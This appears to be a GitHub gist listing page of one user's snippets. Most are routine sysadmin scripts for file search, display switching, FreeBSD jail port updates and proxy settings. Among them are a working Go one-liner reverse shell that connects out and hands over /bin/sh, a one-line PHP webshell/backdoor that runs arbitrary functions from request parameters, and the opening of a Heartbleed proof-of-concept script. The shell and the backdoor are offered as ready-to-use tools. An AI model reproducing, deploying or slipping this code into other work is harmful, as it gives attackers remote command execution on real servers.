Skip to content

Instantly share code, notes, and snippets.

@takeshixx
takeshixx / gist:7466377
Last active December 28, 2015 07:39
$shell (zsh,bash,etc.) search functions
# search all with wildcard
function saw(){
find / -regextype posix-extended -iregex ".*\/[^\/]*$@.*" -exec ls -lad --color {} \; 2>/dev/null
}
# search all with exact match
function sa(){
find / -regextype posix-extended -iregex ".*\/$@" -exec ls -lad --color {} \; 2>/dev/null
}
# search local with wildcard
function slw(){
@takeshixx
takeshixx / xwrap.sh
Created November 15, 2013 10:57
xrandr wrapper script; switch between single/extended/cloned view (e.g. configure external display/projector)
#!/bin/zsh
# xrandr wrapper; switch between single/extended/cloned desktop;
CONFIGURED_DEVICES=($(xrandr|egrep -o '[[:alnum:]]+ [dis]{0,3}connected [0-9]{3,}x[0-9]{3,}'|awk '{print $1}'))
CONNECTED_DEVICES=($(xrandr|grep ' connected '|awk '{print $1}'))
PRIMARY=${CONFIGURED_DEVICES[1]}
RES_PRIMARY=$(xrandr|grep ${PRIMARY} -A1|tail -n1|egrep -o '[0-9]{3,}x[0-9]{3,}')
if [ ${#CONFIGURED_DEVICES[*]} -eq 1 ]; then
[ ${#CONNECTED_DEVICES[*]} -lt 2 ] && { print 'only one display conencted';exit; }
CUR_MODE='single'
@takeshixx
takeshixx / gist:7486990
Last active December 28, 2015 10:29
Check for port updates in FreeBSD jails
for jail in $(jails);do print $jail;jexec $(jid $jail) portmaster -L --index-only|egrep '(ew|ort) version|total install';print;done
@takeshixx
takeshixx / contab-jails.sh
Last active February 22, 2022 22:37
Crontab script for FreeBSD Jails (update seperate ports tree, run portaudit, check for port updates)
#!/usr/local/bin/zsh
JAIL_PORTS=/usr/jails/ports
SHELL=/usr/local/bin/zsh
PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin:/root/bin
SECTION=' * * * * * * '
DELIMITER='------------------------------'
portsnap -p $JAIL_PORTS fetch extract &>/dev/null || echo "Updating ports tree failed!"
echo "# VULNERABILITIES"
@takeshixx
takeshixx / gist:7683667
Last active December 29, 2015 14:28
Update FreeBSD ports inside jails.
for jail in $(jails);do jexec $(jid $jail) portmaster -ay;done
@takeshixx
takeshixx / gist:8493530
Created January 18, 2014 17:26
Set proxy in a shell.
function proxy () {
UNSET=""
PROXY="http://127.0.0.1:8080"
PROXY_ENV=(http_proxy https_proxy ftp_proxy HTTP_PROXY HTTPS_PROXY FTP_PROXY)
if [ $1 == on ]; then
for i in $PROXY_ENV; do
export $i=$PROXY
done
echo "proxy set"
elif [ $1 == off ]; then
@takeshixx
takeshixx / leakdb.py
Created January 30, 2014 23:51
Small leakdb script for a $SHELL alias
#!/usr/bin/env python2
import sys,requests
DEBUG = False
try:
lines = sys.stdin.read().split('\n')
for h in lines:
if not h: continue
r = requests.get('https://api.leakdb.net/?j={}'.format(h)).json()
@takeshixx
takeshixx / shell.go
Last active November 8, 2020 18:48
Golang reverse shell
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","127.0.0.1:1337");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run();}'>/tmp/sh.go&&go run /tmp/sh.go
@takeshixx
takeshixx / shell.php
Created April 5, 2014 14:07
PHP webshell/backdoor
// Call: http://localhost/shell.php?f=system&c=id
<?@extract($_REQUEST);@die($f($c));?>
@takeshixx
takeshixx / hb-test.py
Last active November 6, 2024 06:58
OpenSSL heartbeat PoC with STARTTLS support.
#!/usr/bin/env python2
"""
Author: takeshix <[email protected]>
PoC code for CVE-2014-0160. Original PoC by Jared Stafford ([email protected]).
Supportes all versions of TLS and has STARTTLS support for SMTP,POP3,IMAP,FTP and XMPP.
"""
import sys,struct,socket
from argparse import ArgumentParser